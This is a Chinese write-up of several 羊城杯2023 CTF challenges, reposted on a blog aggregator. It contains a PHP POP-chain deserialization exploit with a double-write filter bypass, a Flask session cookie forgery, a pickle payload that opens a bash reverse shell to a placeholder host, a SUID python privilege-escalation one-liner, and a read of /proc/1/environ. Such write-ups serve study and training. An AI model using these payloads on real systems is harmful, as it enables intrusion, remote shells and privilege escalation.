羊城杯2023 部分wp

这篇具有很好参考价值的文章主要介绍了羊城杯2023 部分wp。希望对大家有所帮助。如果存在错误或未考虑完全的地方,请大家不吝赐教,您也可以点击"举报违法"按钮提交疑问。

目录

D0n't pl4y g4m3!!!(php7.4.21源码泄露&pop链构造)

Serpent(pickle反序列化&python提权)

ArkNights(环境变量泄露)

Ez_misc(win10sinpping_tools恢复)


D0n't pl4y g4m3!!!(php7.4.21源码泄露&pop链构造)

访问/p0p.php 跳转到了游戏界面

应该是存在302跳转 burp抓包 提示 /hint.zip

下载下来得到一段密文:

Ö0 0vO Ow0 0w0 Ö0 ÖO Ö.O o_o 0.O OvO o.0 owo o.Ö Ö.Ö Ovo 0Ö Öo owO O.0 owo Öo owO O.0 owo Ö0 0wÖ O.0 0w0 Ö0 OwO ov0 owo o_O O.Ö Övo

羊城杯2023 部分wp,比赛wp,CTF

尊嘟假嘟翻译器解密得到:flag在/tmp/catcatf1ag.txt

PHP<=7.4.21

羊城杯2023 部分wp,比赛wp,CTF

存在Development Server源码泄露漏洞

得到 p0p.php的源码:

羊城杯2023 部分wp,比赛wp,CTF

 <?php
 header("HTTP/1.1 302 found");
 header("Location:https://www.baidu.com");
 ​
 class Pro{
     private $exp;
     private $rce2;
 ​
     public function __get($name)
     {
         return $this->$rce2=$this->exp[$rce2];
     }
     public  function __toString()
     {
         call_user_func('system', "cat /flag");
     }
 }
 ​
 class Yang
 {
     public function __call($name, $ary)
     {
         if ($this->key === true || $this->finish1->name) {
             if ($this->finish->finish) {
                 call_user_func($this->now[$name], $ary[0]);
             }
         }
     }
     public function ycb()
     {
         $this->now = 0;
         return $this->finish->finish;
     }
     public function __wakeup()
     {
         $this->key = True;
     }
 }
 class Cheng
 {
     private $finish;
     public $name;
     public function __get($value)
     {
 ​
         return $this->$value = $this->name[$value];
     }
 }
 class Bei
 {
     public function __destruct()
     {
         if ($this->CTF->ycb()) {
             $this->fine->YCB1($this->rce, $this->rce1);
         }
     }
     public function __wakeup()
     {
         $this->key = false;
     }
 }
 ​
 function prohib($a){
     $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
     return preg_replace($filter,'',$a);
 }
 ​
 $a = $_POST["CTF"];
 if (isset($a)){
     unserialize(prohib($a));
 }
 ?>
 # ./有hint.zip

简单php反序列化,构造pop链

 <?php
 ​
 class Pro{
     private $exp;
     private $rce2 = "haha";
 ​
     public function __get($name)
     {
         echo "__get()";
         var_dump($this->$rce2=$this->exp[$rce2]);
         return $this->$rce2=$this->exp[$rce2];
     }
     public  function __toString()
     {
         call_user_func('system', "cat /flag");
     }
 }
 ​
 class Yang
 {
     public function __call($name, $ary)
     {
         echo " Yang::__call()  ";
 ​
         if ($this->key === true || $this->finish1->name) {
             if ($this->finish->finish) {
                 echo " call_user_func()";
                 #echo $name,$ary[0];
                 call_user_func($this->now[$name], $ary[0]);
             }
         }
     }
     public function ycb()
     {
         echo " Yang::ycb()  ";
         $this->now = 0;
         return $this->finish->finish; # 给 $this->finish 赋 Cheng类 调其私有属性触发 __get()
     }
     public function __wakeup()
     {
         $this->key = True;
     }
 }
 class Cheng
 {
     private $finish;
     public $name;
     public function __get($value)
     {
         echo " Cheng::__get() ";
         return $this->$value = $this->name[$value]; #
     }
 }
 class Bei
 {
     public function __destruct()
     {
         if ($this->CTF->ycb()) {  # 给$this->CTF 赋 Yang()类 调其 ycb()
             $this->fine->YCB1($this->rce, $this->rce1); # 给$this->fine 赋 Yang 不存在YCB1() 调其 __call()
         }
     }
     public function __wakeup()
     {
         $this->key = false;
     }
 }
 ​
 function prohib($a){
     $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
     return preg_replace($filter,'',$a);
 }
 ​
 $a = new Bei();
 $a->CTF = new Yang();
 $a->CTF->finish = new Cheng();
 $a->CTF->finish->name = ["finish"=>"aaa"];
 ​
 $a->fine = new Yang();
 ​
 $a->fine->finish = new Cheng();
 $a->fine->finish->name = ["finish"=>"aaa"];
 $a->fine->finish1 = new Cheng();
 $a->fine->finish1->name = 1;
 ​
 $a->fine->now['YCB1'] = "syssystemtem";
 $a->rce = "cat /tmp/catcatf1ag.txt > a";
 ​
 $b = serialize($a);
 echo urlencode($b);
 ?>

由于存在一个过滤

 function prohib($a){
     $filter = "/system|exec|passthru|shell_exec|popen|proc_open|pcntl_exec|eval|flag/i";
     return preg_replace($filter,'',$a);
 }

但是过滤只是将关键字替换为空,可以双写绕过

因此将生成的序列化数据,修改 末尾 s%3A12%3A%22syssystemtem%22%3B%7D%7Ds%3A3%3A%22rce%22%3Bs%3A27%3A%22cat+%2Ftmp%2Fcatcatf1ag.txt+%3E+a%22%3B%7D 的 12替换为 6 这样过滤之后也可以正常反序列化

外带 flag内容到 a 访问/a 得到flag

羊城杯2023 部分wp,比赛wp,CTF

Serpent(pickle反序列化&python提权)

访问/www.zip得到部分代码

 from flask import Flask, session
 from secret import secret
 ​
 @app.route('/verification')
 def verification():
     try:
         attribute = session.get('Attribute')
         if not isinstance(attribute, dict):
             raise Exception
     except Exception:
         return 'Hacker!!!'
     if attribute.get('name') == 'admin':
         if attribute.get('admin') == 1:
             return secret
         else:
             return "Don't play tricks on me"
     else:
         return "You are a perfect stranger to me"
 ​
 if __name__ == '__main__':
     app.run('0.0.0.0', port=80)
 ​

访问 /verification路由 cookie放到 jwt.io 里

羊城杯2023 部分wp,比赛wp,CTF

得到 SECRET_KEY:GWHTHKpOjDIQ2b

flask 伪造session

 {"Attribute": {"admin": 1,"name": "admin","secret_key": "GWHTHKpOjDIQ2b"}}

 # python3 flask_session_cookie_manager3.py encode -s "GWHTHKpOjDIQ2b" -t '{"Attribute": {"admin": 1,"name": "admin","secret_key": "GWHTHKpOjDIQ2b"}}'
 eyJBdHRyaWJ1dGUiOnsiYWRtaW4iOjEsIm5hbWUiOiJhZG1pbiIsInNlY3JldF9rZXkiOiJHV0hUSEtwT2pESVEyYiJ9fQ.ZPLH7A.VLZkgFun7fWka435Q3Xrrxb_hWE

然后访问 得到secret

羊城杯2023 部分wp,比赛wp,CTF

得到 /ppppppppppick1e路由

burp发包,在响应包得到:Hint: Source in /src0de 得到源码:

 @app.route('c0de')
 def src0de():
     f = open(__file__, 'r')
     rsp = f.read()
     f.close()
     return rsp[rsp.index("@app.route('/src0de')"):]
 ​
 @app.route('ppppppppick1e')
 def ppppppppppick1e():
     try:
         username = "admin"
         rsp = make_response("Hello, %s " % username)
         rsp.headers['hint'] = "Source in c0de"
         pick1e = request.cookies.get('pick1e')
         if pick1e is not None:
             pick1e = base64.b64decode(pick1e)
         else:
             return rsp
         if check(pick1e):
             pick1e = pickle.loads(pick1e)
             return "Go for it!!!"
         else:
             return "No Way!!!"
     except Exception as e:
         error_message = str(e)
         return error_message
 ​
     return rsp
 ​
 class GWHT():
     def __init__(self):
         pass
 ​
 if __name__ == '__main__':
     app.run('0.0.0.0', port=80)

在/ppppppppick1e 路由会对session的pick1e值 进行pickle.load() 存在pickle反序列化,但是有一个未知的check() 需要绕过·

 import base64
 ​
 #payload=b'\x80\x03(cbuiltins\ngetattr\np0\ncbuiltins\ndict\np1\nX\x03\x00\x00\x00getop2\n0(g2\n(cbuiltins\nglobals\noX\x0C\x00\x00\x00__builtins__op3\n(g0\ng3\nX\x04\x00\x00\x00evalop4\n(g4\nX\x21\x00\x00\x00__import__("os").system("")o.'
 payload = b'''(cos
 system
 S'bash -c "bash -i >& /dev/tcp/ip/port 0>&1"'
 o.'''
 ​
 # env | tee /tmp/a
 print(base64.b64encode(payload))

可以o操作码绕过,system执行命令 刚开始可能是构造payload出错了,报错信息中还以为过滤了>

反弹不了shell 就一直想着怎么构造回显 将命令执行结构写入文件 查看写入的文件时,又一直显示 Permission Denied 。。。。

最后发现并没有过滤 > bash弹到shell之后,发现没有权限,需要提取 怪不得permission denied

查找具有suid权限的命令,找到了 /usr/bin/python3.8

可以python 进行提权

python3 -c "import os;os.setuid(0);os.system('/bin/bash');"

这里直接 python3 /flag

根据报错信息得到了flag

ArkNights(环境变量泄露)

非预期:

读取 /proc/1/environ 获得flag

羊城杯2023 部分wp,比赛wp,CTF

Ez_misc(win10sinpping_tools恢复)

下载附件,得到一个图片 下面应该有东西

脚本恢复一下宽、高

宽:0x164

高:0x61

羊城杯2023 部分wp,比赛wp,CTF

假的flag

010打开图片发现 IEND fivenumbers 字样 可能是win的自带截图

羊城杯2023 部分wp,比赛wp,CTF

脚本恢复一下

羊城杯2023 部分wp,比赛wp,CTF

得到flag

羊城杯2023 部分wp,比赛wp,CTF文章来源地址https://www.toymoban.com/news/detail-697733.html

到了这里,关于羊城杯2023 部分wp的文章就介绍完了。如果您还想了解更多内容,请在右上角搜索TOY模板网以前的文章或继续浏览下面的相关文章,希望大家以后多多支持TOY模板网!

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处: 如若内容造成侵权/违法违规/事实不符,请点击违法举报进行投诉反馈,一经查实,立即删除!

领支付宝红包 赞助服务器费用

相关文章

  • *CTF 2023 web jwt2struts 题解wp

    根据题目名字猜测,这题考察jwt和Struts2 包里面果然有一个cookie 验证了,是jwt eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJ1c2VyIiwiZXhwIjoyMDA2MjI1MjgxfQ.F7vOtdqg48M1DYK4tVZywTipIYDqKfsBSju7ekLSecU 我们的目标应该是把 user 改成 admin 首先,直接修改试试,结果是不行的。 再尝试一下爆破: 也是不行

    2024年02月14日
    浏览(39)
  • ACTF 2023 部分WP

    来自密码手的哀嚎: 玩不了一点,太难了。 Description Malin’s Diffile-Hellman Key Exchange. task.sage output.txt 分析一下: shared = (sk_alice[0].T * pk_bob * sk_alice[1]).trace() 也就是说 shared = ((a 1 ) T  * b 1 * (b 2 ) T * a 2 ).trace() 已知 Pk_alice = a 1 * (a 2 ) T 和 Pk_bob = b 1 * (b 2 ) T 线性代数学的好的

    2024年02月06日
    浏览(42)
  • GDOUCTD NSSCTF2023广东海洋大学比赛WP RE(上) Tea Check_Your_Luck

    下载文件是cpp 是个解方程的题,用python的z3 打开可执行文件有输出,直接打开ida shift+F12点进去 他提示你,这是假的flag,看看哪个函数引用了它,往上追,就来到了关键的地方 最后一句话提醒了我们这是tea加密 最后v9输出flag。 v6 = sub_140011352(v8); 进去发现是一个返回值为bo

    2023年04月18日
    浏览(37)
  • CTFSHOW愚人杯2023 部分wp

    url是base64编码后的文件名 直接读个index.php 然后查看源码 解码base64 过滤了斜杠,不能访问根目录了,考虑手动拼接一个 {{lipsum.__globals__.os.popen(lipsum.__globals__.__str__().__getitem__(34)~lipsum.__globals__.__str__().__getitem__(5)~lipsum.__globals__.__str__().__getitem__(22)~lipsum.__globals__.__str__().__getitem__(1

    2024年02月03日
    浏览(61)
  • ctfshow-2023愚人杯部分wp

    目录 热身 web easy_signin easy_ssti easy_flask Crypto: easy_base 复现 easy_php       脑筋急转弯   easy_signin 没有看url,直接F12看源码了,所以多做了一会儿,其实是任意文件读取,img参数传的是base64编码后的文件名,图片源是base64编码后的文件。 传入index,php的base64编码aW5kZXgucGhw,得到

    2023年04月21日
    浏览(41)
  • 2023浙江省大学生信息安全竞赛初赛 部分wp

    Web easy php BBB::__debuginfo() - CCC::__toString() - AAA::__call() RE pyccc uncompyle6.exe 逆不出py 逆出如下文件 分析可知 先初始化一个数组 再对其内的每个元素异或其下标 flag{1t_is_very_hap4y!!} ezapk 反编译apk 解aes Crypto 小小数学家 re 匹配数字和符号进行运算 DASCTF{9d811301-281b-4f4a-8d1a-b38beccf2285} 基

    2024年02月05日
    浏览(59)
  • NewStarCTF 2023 公开赛道 WEEK4|CRYPTO 部分WP

    1、题目信息 提示: \\\"Schmidt Samoa\\\" 附件信息 2、解题方法 学了一个新技巧,哈哈哈。 简介 : Schmidt-Samoa密码系统,像rabin加密一样,其安全性基于整数因式分解的难度。但 Rabin 解密时会得到四个解,而 Schmidt-Samor 得到的是唯一解。 密钥生成 1.选取两个大的质数p和q并进行计算

    2024年02月08日
    浏览(45)
  • 2023蓝帽杯初赛ctf部分题目

    LovePHP 打开网站环境,发现显示出源码  来可以看到php版本是7.4.33 简单分析了下,主要是道反序列化的题其中发现get传入的参数里有_号是非法字符,如果直接传值传入my_secret.flag,会被php处理掉 绕过 _ 的方法     对于 __ 可以使用 [, 空格, + , . 。都会被处理为 _;  这是因

    2024年02月10日
    浏览(38)
  • 2023浙江省大学生信息安全竞赛技能赛初赛 部分wp

    1、题目信息 查看代码 2、解题方法 这种一看就是计算结果然后结果ASCII组成flag,可以试一下第一个,结果68,对应ASCII正好是D,因此想法正确 exp: 1、附件信息 2、解题方法 根据代码部分可知也就是求:p 2 + q 2 =n 利用sage里方法two_squares来求解。 参考:https://wstein.org/edu/2007/s

    2024年02月05日
    浏览(51)
  • LitCTF2023 郑州轻工业大学首届网络安全赛 WP 部分

    由于刚接触CTF没多久 还是属于萌新级别的(中专高中生)也没怎么打过比赛记录一下学习的过程大佬绕过即可,后续会继续加油努力。 NSSCTF平台:https://www.nssctf.cn/ PS:记得所有的 flag 都改为 NSSCTF或者LitCTF 我Flag呢? 奇怪,放哪里了,怎么看不见呢?(初级难度) 直接 F12

    2024年02月05日
    浏览(52)

觉得文章有用就打赏一下文章作者

支付宝扫一扫打赏

博客赞助

微信扫一扫打赏

请作者喝杯咖啡吧~博客赞助

支付宝扫一扫领取红包,优惠每天领

二维码1

领取红包

二维码2

领红包